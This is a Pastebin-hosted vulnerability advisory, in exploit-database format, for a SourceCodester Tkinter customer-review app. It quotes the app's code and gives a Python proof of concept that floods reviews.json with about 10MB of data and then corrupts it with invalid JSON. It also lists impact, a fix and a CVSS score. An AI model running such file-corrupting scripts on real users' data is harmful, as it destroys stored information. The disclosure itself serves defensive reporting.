Guest User

SourceCodester Customer Review App 1.0 - Improper Input Validation (PoC)

a guest
May 12th, 2026
1,249
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.45 KB | None | 0 0
  1. # Exploit Title: SourceCodester Customer Review App Using Tkinter in Python 1.0 - Improper Input Validation
  2. # Date: 2026-05-12
  3. # Exploit Author: ameenkbrd
  4. # Vendor Homepage: https://www.sourcecodester.com
  5. # Software Link: https://www.sourcecodester.com/python/18751/customer-review-app-using-tkinter-python-source-code.html
  6. # Version: 1.0
  7. # Tested on: Windows 10/11
  8. # CWE: CWE-20 - Improper Input Validation
  9.  
  10. ==========================================================
  11. VULNERABILITY DESCRIPTION
  12. ==========================================================
  13.  
  14. The Customer Review App Using Tkinter in Python 1.0 by SourceCodester
  15. (razormist) fails to validate user-supplied input in the name and comment
  16. fields before writing to the local JSON storage file (reviews.json).
  17.  
  18. Affected File : review_app.py
  19. Affected Functions: add_review(), save_review(), get_all_reviews()
  20.  
  21. ==========================================================
  22. VULNERABLE CODE
  23. ==========================================================
  24.  
  25. [1] No input length validation in add_review():
  26.  
  27. def add_review(self):
  28. name = self.name_entry.get().strip()
  29. comment = self.comment_text.get("0.0", "end").strip()
  30. if name and comment and comment != self.placeholder:
  31. new_review = {"name": name, "rating": self.rating_var.get(), "comment": comment}
  32. self.save_review(new_review) # <-- No length/character check
  33.  
  34. [2] Unsanitized write in save_review():
  35.  
  36. def save_review(self, review):
  37. reviews = self.get_all_reviews()
  38. reviews.insert(0, review)
  39. with open(self.db_file, "w") as f:
  40. json.dump(reviews, f, indent=4) # <-- Writes raw user input directly
  41.  
  42. [3] Bare except clause silently suppresses all errors in get_all_reviews():
  43.  
  44. try:
  45. with open(self.db_file, "r") as f:
  46. return json.load(f)
  47. except: return [] # <-- Swallows ALL exceptions, silent data loss
  48.  
  49. ==========================================================
  50. PROOF OF CONCEPT
  51. ==========================================================
  52.  
  53. Run the following script while the app is installed:
  54.  
  55. --------------------------------------------------------------
  56. import json
  57. import os
  58.  
  59. # Target file written by the app
  60. db_file = "reviews.json"
  61.  
  62. # PoC 1: Denial of Service via oversized input
  63. # Simulates submitting a 10MB comment field
  64. malicious_review = {
  65. "name": "A" * 1000000, # 1MB name
  66. "rating": 5,
  67. "comment": "B" * 9000000 # 9MB comment
  68. }
  69.  
  70. reviews = []
  71. if os.path.exists(db_file):
  72. with open(db_file, "r") as f:
  73. reviews = json.load(f)
  74.  
  75. reviews.insert(0, malicious_review)
  76.  
  77. with open(db_file, "w") as f:
  78. json.dump(reviews, f, indent=4)
  79.  
  80. print("[+] PoC 1 complete: reviews.json bloated to ~10MB")
  81. print("[+] App will now lag or freeze on load due to unbounded data")
  82.  
  83. # PoC 2: Silent data loss via JSON corruption
  84. # The bare except in get_all_reviews() will silently return []
  85. with open(db_file, "w") as f:
  86. f.write("{ INVALID JSON !!! }")
  87.  
  88. print("[+] PoC 2 complete: reviews.json corrupted")
  89. print("[+] App silently returns empty list — all reviews lost, no warning shown")
  90. --------------------------------------------------------------
  91.  
  92. ==========================================================
  93. IMPACT
  94. ==========================================================
  95.  
  96. - Local attacker can bloat disk storage causing DoS
  97. - All stored review data can be silently lost with no user warning
  98. - No input length restriction, no character filtering, no integrity check
  99.  
  100. ==========================================================
  101. SUGGESTED FIX
  102. ==========================================================
  103.  
  104. 1. Add input length validation:
  105.  
  106. if len(name) > 100 or len(comment) > 1000:
  107. return # Reject oversized input
  108.  
  109. 2. Replace bare except with specific exception handling:
  110.  
  111. except (json.JSONDecodeError, IOError) as e:
  112. print(f"Error reading reviews: {e}")
  113. return []
  114.  
  115. ==========================================================
  116. CVSS VECTOR
  117. ==========================================================
  118.  
  119. CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
  120. Base Score: 4.4 (Medium)
  121.  
  122. ==========================================================
  123. REFERENCES
  124. ==========================================================
  125.  
  126. https://www.sourcecodester.com/python/18751/customer-review-app-using-tkinter-python-source-code.html
  127. https://cwe.mitre.org/data/definitions/20.html
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment